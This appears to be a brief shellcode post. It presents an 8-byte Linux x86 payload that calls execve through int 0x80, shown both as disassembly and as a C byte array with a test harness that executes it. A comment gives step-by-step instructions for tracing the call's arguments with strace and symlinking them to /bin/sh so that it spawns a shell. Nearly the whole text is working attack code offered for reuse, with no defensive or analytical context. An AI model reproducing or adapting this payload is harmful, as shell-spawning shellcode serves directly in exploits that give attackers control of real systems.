/*
08048334 <main>:
 8048334: 99                    cltd
 8048335: 6a 0b                 push   $0xb
 8048337: 58                    pop    %eax
 8048338: 60                    pusha
 8048339: 59                    pop    %ecx
 804833a: cd 80                 int    $0x80

using this code.

step1. This code is compiled.
step2. strace -x output binary
step3. get execve args in strace result.
step4. create link execve args on /bin/sh

*/

unsigned char sc[]=
"\x99\x6a\x0b\x58\x60\x59\xcd\x80";
int main()
{
 void (*p)();
 p = sc;
 p();
}

have a nice day~

thx~

--
INTO THE WORLD!